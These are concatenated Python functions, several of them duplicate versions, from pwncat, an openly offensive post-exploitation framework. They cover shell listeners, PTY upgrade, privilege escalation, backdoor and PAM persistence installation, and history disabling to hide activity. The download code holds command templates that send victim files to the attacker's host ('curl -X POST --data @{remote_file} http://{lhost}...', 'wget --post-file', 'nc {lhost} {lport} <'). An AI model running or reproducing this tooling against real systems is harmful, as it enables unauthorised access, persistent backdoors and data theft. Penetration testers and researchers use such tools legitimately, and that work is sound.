def run(self, args): if args.action == "revert": if args.all: removed_tampers = [] util.progress(f"reverting tamper") for tamper in pwncat.victim.tamper: try: util.progress(f"reverting tamper: {tamper}") tamper.revert() removed_tampers.append(tamper) except RevertFailed as exc: util.warn(f"{tamper}: revert failed: {exc}") for tamper in removed_tampers: pwncat.victim.tamper.remove(tamper) util.success("tampers reverted!") pwncat.victim.session.commit() else: if args.tamper not in range(len(pwncat.victim.tamper)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper[args.tamper] try: tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") pwncat.victim.session.commit() else: for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}")
def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
def __init__(self, client: socket.SocketType): """ Initialize a new Pty Handler. This will handle creating the PTY and setting the local terminal to raw. It also maintains the state to open a local terminal if requested and exit raw mode. """ self.client = client self.state = "normal" self.saved_term_state = None self.input = b"" self.lhost = None self.known_binaries = {} self.vars = {"lhost": None} # Ensure history is disabled util.info("disabling remote command history", overlay=True) client.sendall(b"unset HISTFILE\n") util.info("setting terminal prompt", overlay=True) client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n') # Locate interesting binaries for name, friendly, priority in PtyHandler.INTERESTING_BINARIES: util.info(f"resolving remote binary: {name}", overlay=True) # We already found a preferred option if ( friendly in self.known_binaries and self.known_binaries[friendly][1] > priority ): continue # Look for the given binary response = self.run(f"which {shlex.quote(name)}", has_pty=False) if response == b"": continue self.known_binaries[friendly] = (response.decode("utf-8"), priority) for m, cmd in PtyHandler.OPEN_METHODS.items(): if m in self.known_binaries: method_cmd = cmd.format(self.known_binaries[m][0]) method = m break else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info(f"opening pseudoterminal via {method}", overlay=True) client.sendall(method_cmd.encode("utf-8") + b"\n") # Synchronize the terminals util.info("synchronizing terminal state", overlay=True) self.do_sync([]) # Force the local TTY to enter raw mode self.enter_raw()
def run(self, args): # Ensure we confirmed we want to exit if not args.yes: util.error("exit not confirmed") return # Get outa here! raise EOFError
def enter_command(self): """ Enter commmand mode. This sets normal mode and uses prompt toolkit process commands from the user for the local machine """ # Go back to normal mode self.restore() self.state = State.COMMAND # Hopefully this fixes weird cursor position issues sys.stdout.write("\n") # Process commands while self.state is State.COMMAND: try: try: line = self.prompt.prompt() except (EOFError, OSError): # The user pressed ctrl-d, go back self.enter_raw() continue if len(line) > 0: if line[0] == "!": # Allow running shell commands subprocess.run(line[1:], shell=True) continue elif line[0] == "@": result = self.run(line[1:]) sys.stdout.buffer.write(result) continue elif line[0] == "-": self.run(line[1:], wait=False) continue try: argv = shlex.split(line) except ValueError as e: util.error(e.args[0]) continue # Empty command if len(argv) == 0: continue try: method = getattr(self, f"do_{argv[0]}") except AttributeError: util.warn(f"{argv[0]}: command does not exist") continue # Call the method method(argv[1:]) except KeyboardInterrupt as exc: traceback.print_exc() continue
def do_download(self, args): """ Download a file from the remote host """ try: # Locate an appropriate downloader class DownloaderClass = downloader.find(self, args.method) except downloader.DownloadError as exc: util.error(f"{exc}") return # Grab the arguments path = args.path basename = os.path.basename(args.path) outfile = args.output.format(basename=basename) download = DownloaderClass(self, remote_path=path, local_path=outfile) # Get the remote file size size = self.run( f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') if b"none" in size: util.error(f"{path}: no such file or directory") return size = int(size) with ProgressBar([("#888888", "downloading with "), ("fg:ansiyellow", f"{download.NAME}")]) as pb: counter = pb(range(size)) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ if blocksz == -1: counter.stopped = True counter.done = True pb.invalidate() return counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() try: download.serve(on_progress) if download.command(): while not counter.done: time.sleep(0.2) finally: download.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def run(self, args): if args.password: if args.variable is None: found = False for name, user in pwncat.victim.users.items(): if user.password is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(user.password)}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable].password = args.value else: if (args.variable is not None and args.variable == "state" and args.value is not None): try: pwncat.victim.state = util.State._member_map_[ args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.victim.config["db"], echo=False) pwncat.db.Base.metadata.create_all( pwncat.victim.engine) # Create the session_maker and default session if pwncat.victim.session is None: pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine) pwncat.victim.session = pwncat.victim.session_maker( ) except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print(f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}") else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print(f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}")
def remove(self, user: Optional[str] = None): """ Remove this method """ try: # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = ( pwncat.victim.env(["find", "/", "-name", "pam_deny.so"]) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Remove the the module pwncat.victim.env( ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" # Remove this auth method from the following pam configurations for config in ["sshd", "sudo", "su", "login"]: config = os.path.join("/etc/pam.d", config) try: with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # Add this auth statement before the first auth statement content = [line for line in content if line != new_line] content = "".join(content) try: with pwncat.victim.open( config, "w", length=len(content) ) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue else: raise PersistenceError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... util.error(str(exc))
def run(self, args): if args.action == "revert": if args.tamper not in range(len(pwncat.victim.tamper.tampers)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper.tampers[args.tamper] try: tamper.revert() pwncat.victim.tamper.tampers.pop(args.tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") else: for id, tamper in enumerate(pwncat.victim.tamper.tampers): print(f" {id} - {tamper}")
def do_upload(self, args): """ Upload a file to the remote host """ if not os.path.isfile(args.path): util.error(f"{args.path}: no such file or directory") return try: # Locate an appropriate downloader class UploaderClass = uploader.find(self, args.method) except uploader.UploadError as exc: util.error(f"{exc}") return path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) upload = UploaderClass(self, remote_path=outfile, local_path=path) with ProgressBar([("#888888", "uploading via "), ("fg:ansiyellow", f"{upload.NAME}")]) as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() upload.serve(on_progress) upload.command() try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: upload.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def run(self, args): if args.password: if args.variable is None: found = False for user, props in pwncat.victim.users.items(): if "password" in props and props["password"] is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable]["password"] = args.value else: if ( args.variable is not None and args.variable == "state" and args.value is not None ): try: pwncat.victim.state = util.State._member_map_[args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print( f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print( f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" )
def eval(self, source: str, name: str = "<script>"): """ Evaluate the given source file. This will execute the given string as a script of commands. Syntax is the same except that commands may be separated by semicolons, comments are accepted as following a "#" and multiline strings are supported with '"{' and '}"' as delimeters. """ in_multiline_string = False lineno = 1 for command in resolve_blocks(source): try: self.dispatch_line(command) except Exception as exc: util.error( f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}" ) break
def run(self, args): if args.action == "install": pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: util.error( "busybox hasn't been installed yet (hint: run 'busybox --install'" ) return util.info("binaries which the remote busybox provides:") # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) for binary in provides: print(f" * {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}" ) # Find all binaries which are provided from busybox nprovides = ( pwncat.victim.session.query(pwncat.db.Binary) .filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) .with_entities(func.count()) .scalar() ) util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
def run(self, args): if args.action == "list": if not pwncat.victim.has_busybox: util.error( "busybox hasn't been installed yet (hint: run 'busybox'") return util.info("binaries which the remote busybox provides:") for name in pwncat.victim.busybox_provides: print(f" * {name}") elif args.action == "status": if not pwncat.victim.has_busybox: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.busybox_path}{Fore.RESET}" ) util.info( f"busybox provides {Fore.GREEN}{len(pwncat.victim.busybox_provides)}{Fore.RESET} applets" ) elif args.action == "install": pwncat.victim.bootstrap_busybox(args.url)
def do_set(self, argv): """ Set or view the currently assigned variables """ if len(argv) == 0: util.info("local variables:") for k, v in self.vars.items(): print(f" {k} = {shlex.quote(v)}") util.info("user passwords:") for user, data in self.users.items(): if data["password"] is not None: print( f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}" ) return parser = argparse.ArgumentParser(prog="set") parser.add_argument( "--password", "-p", action="store_true", help="set the password for the given user", ) parser.add_argument("variable", help="the variable name or user") parser.add_argument("value", help="the new variable/user password value") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.password is not None and args.variable not in self.users: util.error(f"{args.variable}: no such user") elif args.password is not None: self.users[args.variable]["password"] = args.value else: self.vars[args.variable] = args.value
def do_busybox(self, args): """ Attempt to upload a busybox binary which we can use as a consistent interface to local functionality """ if args.action == "list": if not self.has_busybox: util.error( "busybox hasn't been installed yet (hint: run 'busybox'") return util.info("binaries which the remote busybox provides:") for name in self.busybox_provides: print(f" * {name}") elif args.action == "status": if not self.has_busybox: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}" ) util.info( f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets" ) elif args.action == "install": self.bootstrap_busybox(args.url, args.method)
def dispatch_line(self, line: str): """ Parse the given line of command input and dispatch a command """ # Account for blank or whitespace only lines line = line.strip() if line == "": return try: # Spit the line with shell rules argv = shlex.split(line) except ValueError as e: util.error(e.args[0]) return if argv[0][0] in self.shortcuts: command = self.shortcuts[argv[0][0]] argv[0] = argv[0][1:] args = argv else: # Search for a matching command for command in self.commands: if command.PROG == argv[0]: break else: if argv[0] in self.aliases: command = self.aliases[argv[0]] else: util.error(f"{argv[0]}: unknown command") return if not self.loading_complete and not command.LOCAL: util.error( f"{argv[0]}: non-local commands cannot run until after session setup." ) return args = argv[1:] args = [a.encode("utf-8").decode("unicode_escape") for a in args] try: # Parse the arguments args = command.parser.parse_args(args) # Run the command command.run(args) except SystemExit: # The arguments were icncorrect return
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except PermissionError: self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "mismatched euid and uid; attempting backdoor installation." ) for method in pwncat.victim.persist.available: if not method.system or not method.local: continue try: # Attempt to install this persistence method pwncat.victim.persist.install(method.name) if not method.escalate(): # The escalation didn't work, remove it and try the next pwncat.victim.persist.remove(method.name) continue chain.append(( f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)", "exit", )) break except PersistenceError: continue util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def __init__(self, client: socket.SocketType, has_pty: bool = False): """ Initialize a new Pty Handler. This will handle creating the PTY and setting the local terminal to raw. It also maintains the state to open a local terminal if requested and exit raw mode. """ self.client = client self.state = "normal" self.saved_term_state = None self.input = b"" self.lhost = None self.known_binaries = {} self.known_users = {} self.vars = {"lhost": util.get_ip_addr()} self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]" self.remote_prompt = ("\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[" "\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ ") self.prompt = self.build_prompt_session() self.has_busybox = False self.busybox_path = None self.binary_aliases = { "python": [ "python2", "python3", "python2.7", "python3.6", "python3.8", "python3.9", ], "sh": ["bash", "zsh", "dash"], "nc": ["netcat", "ncat"], } self.has_pty = has_pty # Setup the argument parsers for local the local prompt self.setup_command_parsers() # We should always get a response within 3 seconds... self.client.settimeout(1) util.info("probing for prompt...", overlay=True) start = time.time() prompt = b"" try: while time.time() < (start + 0.1): prompt += self.client.recv(1) except socket.timeout: pass # We assume if we got data before sending data, there is a prompt if prompt != b"": self.has_prompt = True util.info(f"found a prompt", overlay=True) else: self.has_prompt = False util.info("no prompt observed", overlay=True) # Send commands without a new line, and see if the characters are echoed util.info("checking for echoing", overlay=True) test_cmd = b"echo" self.client.send(test_cmd) response = b"" try: while len(response) < len(test_cmd): response += self.client.recv(len(test_cmd) - len(response)) except socket.timeout: pass if response == test_cmd: self.has_echo = True util.info("found input echo", overlay=True) else: self.has_echo = False util.info(f"no echo observed", overlay=True) self.client.send(b"\n") response = self.client.recv(1) if response == "\r": self.client.recv(1) self.has_cr = True else: self.has_cr = False if self.has_echo: self.recvuntil(b"\n") # Ensure history is disabled util.info("disabling remote command history", overlay=True) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') self.shell = self.run("ps -o command -p $$ | tail -n 1").decode( "utf-8").strip() self.shell = self.which(self.shell.split(" ")[0]) util.info(f"running in {Fore.BLUE}{self.shell}{Fore.RESET}") # Locate interesting binaries # The auto-resolving doesn't work correctly until we have a pty # so, we manually resolve a list of useful binaries prior to spawning # a pty for name in PtyHandler.INTERESTING_BINARIES: util.info( f"resolving remote binary: {Fore.YELLOW}{name}{Fore.RESET}", overlay=True, ) # Look for the given binary response = self.run(f"which {shlex.quote(name)}").strip() if response == b"": continue self.known_binaries[name] = response.decode("utf-8") # Now, we can resolve using `which` w/ request=False for the different # methods for m, cmd in PtyHandler.OPEN_METHODS.items(): if self.which(m, request=False) is not None: method_cmd = cmd.format(self.which(m, request=False), self.shell) method = m break else: util.error("no available methods to spawn a pty!") raise RuntimeError("no available methods to spawn a pty!") # Open the PTY util.info( f"opening pseudoterminal via {Fore.GREEN}{method}{Fore.RESET}", overlay=True) self.run(method_cmd, wait=False) # client.sendall(method_cmd.encode("utf-8") + b"\n") # We just started a PTY, so we now have all three self.has_echo = True self.has_cr = True self.has_prompt = True util.info("setting terminal prompt", overlay=True) self.run("unset PROMPT_COMMAND") self.run(f'export PS1="{self.remote_prefix} {self.remote_prompt}"') # Make sure HISTFILE is unset in this PTY (it resets when a pty is # opened) self.run("unset HISTFILE; export HISTCONTROL=ignorespace") # Disable automatic margins, which f**k up the prompt self.run("tput rmam") # Synchronize the terminals util.info("synchronizing terminal state", overlay=True) self.do_sync([]) self.privesc = privesc.Finder(self) # Attempt to identify architecture self.arch = self.run("uname -m").decode("utf-8").strip() # Force the local TTY to enter raw mode self.enter_raw()
def run(self, args): if pwncat.victim.client is not None: util.error( "connect can only be called prior to an active connection!") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: self.parser.error(str(exc)) if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" util.progress(f"binding to {args.host}:{args.port}") # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") return util.success(f"received connection from {address[0]}:{address[1]}") pwncat.victim.connect(client) elif args.action == "connect": if not args.host: self.parser.error( "host address is required for outbound connections") util.progress(f"connecting to {args.host}:{args.port}") # Connect to the remote host client = socket.create_connection((args.host, args.port)) util.success(f"connection to {args.host}:{args.port} established") pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: util.error(str(exc)) return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() util.error("ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) util.progress(f"enumerating persistence methods for {addr}") host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: util.error(f"{args.host}: not found in database") return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: util.error(f"{args.host}: connection failed") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue print( f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" ) for p in host.persistence: print( f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" ) else: util.error(f"{args.action}: invalid action")
def do_privesc(self, argv): """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( "--list", "-l", action="store_true", help="do not perform escalation. list potential escalation methods", ) parser.add_argument( "--all", "-a", action="store_const", dest="user", const=None, help= "when listing methods, list for all users. when escalating, escalate to root.", ) parser.add_argument( "--user", "-u", choices=[user for user in self.users], default="root", help="the target user", ) parser.add_argument( "--max-depth", "-m", type=int, default=None, help="Maximum depth for the privesc search (default: no maximum)", ) parser.add_argument( "--read", "-r", type=str, default=None, help="remote filename to try and read", ) parser.add_argument( "--write", "-w", type=str, default=None, help="attempt to write to a remote file as the specified user", ) parser.add_argument( "--data", "-d", type=str, default=None, help="the data to write a file. ignored if not write mode", ) parser.add_argument( "--text", "-t", action="store_true", default=False, help="whether to use safe readers/writers", ) try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.list: techniques = self.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.read: try: read_pipe, chain = self.privesc.read_file( args.read, args.user, args.max_depth) # Read the data from the pipe sys.stdout.buffer.write(read_pipe.read(4096)) read_pipe.close() # Unwrap in case we had to privesc to get here self.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.write: if args.data is None: util.error("no data specified") else: if args.data.startswith("@"): with open(args.data[1:], "rb") as f: data = f.read() else: data = args.data.encode("utf-8") try: chain = self.privesc.write_file( args.write, data, safe=not args.text, target_user=args.user, depth=args.max_depth, ) self.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") else: try: chain = self.privesc.escalate(args.user, args.max_depth) ident = self.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: self.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) self.reset() self.do_back([]) except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def do_download(self, argv): uploaders = { "XXXXX": ( "http", "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", ), "XXXX": ( "http", "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", ), "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"), } servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=uploaders.keys(), default=None, help="set the upload method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to download") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = uploaders[args.method] else: method = None for m, info in uploaders.items(): if m in self.known_binaries: util.info(f"downloading via {m}") method = info break else: util.warn( "no available upload methods. falling back to dd/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) # Get the remote file size size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') if b"none" in size: util.error(f"{path}: no such file or directory") return size = int(size) with ProgressBar("downloading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](outfile, name, progress=on_progress) command = method[1].format( remote_file=shlex.quote(path), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) print(command) result = self.run(command, wait=False) else: server = None with open(outfile, "wb") as fp: copied = 0 for chunk_nr in range(0, size, 8192): encoded = self.run( f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" ) chunk = base64.b64decode(encoded) fp.write(chunk) copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def do_upload(self, argv): """ Upload a file to the remote host """ downloaders = { "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"), "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"), "nc": ("raw", "nc {lhost} {lport} > {outfile}"), } servers = {"http": util.serve_http_file, "raw": util.serve_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=downloaders.keys(), default=None, help="set the download method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to upload") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if not os.path.isfile(args.path): util.error(f"[!] {args.path}: no such file or directory") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = downloaders[args.method] else: method = None for m, info in downloaders.items(): if m in self.known_binaries: util.info("uploading via {m}") method = info break else: util.warn( "no available upload methods. falling back to echo/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) with ProgressBar("uploading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](path, name, progress=on_progress) command = method[1].format( outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) result = self.run(command, wait=False) else: server = None with open(path, "rb") as fp: self.run(f"echo -n > {outfile}") copied = 0 for chunk in iter(lambda: fp.read(8192), b""): encoded = base64.b64encode(chunk).decode("utf-8") self.run(f"echo -n {encoded} | base64 -d >> {outfile}") copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
